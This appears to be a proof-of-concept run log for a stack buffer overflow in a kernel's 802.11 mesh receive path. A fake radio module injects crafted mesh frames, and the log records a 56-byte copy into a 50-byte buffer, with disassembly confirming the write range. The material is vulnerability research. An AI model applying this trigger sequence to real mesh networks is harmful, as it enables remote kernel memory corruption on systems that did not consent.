DF-3286 / run.log
# DF-3286 run.log — stock kernel X86_64_GENERIC #0 (INVARIANTS), guest from clean snapshot # build: # cd /root/fwm && make SYSDIR=/usr/src/sys -> fwm.ko built rc=0 (-Werror) # -rw-r--r-- 1 root wheel 17472 Sep 10 05:18 fwm.ko # setup + trigger (vm.sh run_root): kldload ./fwm.ko && ifconfig wlan0 create wlandev fwm0 wlanmode mesh && \ ifconfig wlan0 channel 1 && ifconfig wlan0 meshid pwn && ifconfig wlan0 up # fwm: mesh-capable fake wifi radio attached (fwm0) # wlan0: MAC address: 02:00:00:00:00:f2 # fwm: wlan0 RUN, beacon allocated sysctl kern.fwm_step=4 # fwm: inject BEACON (61 bytes) from attacker # fwm_tx[1]: fc0=d0 len=54 <- victim OPEN (llid = victim mlpid) # fwm: inject PEER OPEN (48 bytes) # fwm_tx[2]: fc0=d0 len=60 <- victim CONFIRM => link ESTABLISHED # fwm: inject PEER CONFIRM (victim mlpid 0x0daa) # fwm_tx[3]: fc0=d0 len=65 <- HWMP proactive PREQ (mesh_discover on ESTABLISHED) LINK_UP sysctl kern.fwm_step=10 # fwm: inject MCAST AE=3 data (68 bytes; decap hdr=56 > b[50]) sleep 1 sysctl kern.fwm_stats kern.fwm_stats: is_mesh_badae=1 is_mesh_nolink=0 is_rx_dup=0 tx_tot=4 # NOTE: is_mesh_badae is bumped at ieee80211_mesh.c:1339 INSIDE mesh_decap, # i.e. AFTER the 56-byte memcpy into b[50] has executed. Guest still up. for i in 1..20; do sysctl kern.fwm_step=10 >/dev/null; done sysctl kern.fwm_stats kern.fwm_stats: is_mesh_badae=21 is_mesh_nolink=0 is_rx_dup=0 tx_tot=5 GUEST_STILL_UP # # Disassembly of the shipped kernel (objdump /boot/kernel/kernel): # mesh_input+0xb22 region (mesh_decap inlined): ffffffff80779e62: 4c 8d 75 9e lea -0x62(%rbp),%r14 # b[] base, 50 bytes -> .. rbp-0x31 ffffffff80779e66: 49 8b 75 10 mov 0x10(%r13),%rsi # m_data ffffffff80779e6a: 8b 8d 70 ff ff ff mov -0x90(%rbp),%ecx # ecx = hdrlen ffffffff80779e70: 4c 89 f7 mov %r14,%rdi # dst = b ffffffff80779e73: 48 8b 95 68 ff ff ff mov -0x98(%rbp),%rdx ffffffff80779e7a: f3 a4 rep movsb %ds:(%rsi),%es:(%rdi) # For AE=11 DSTODS QoS: hdrlen = 32 + 6 + 18 = 0x38 = 56 -> writes rbp-0x30..rbp-0x2b # (verified no spill/local is addressed in rbp-0x30..rbp-0x2b; saved regs start rbp-0x28)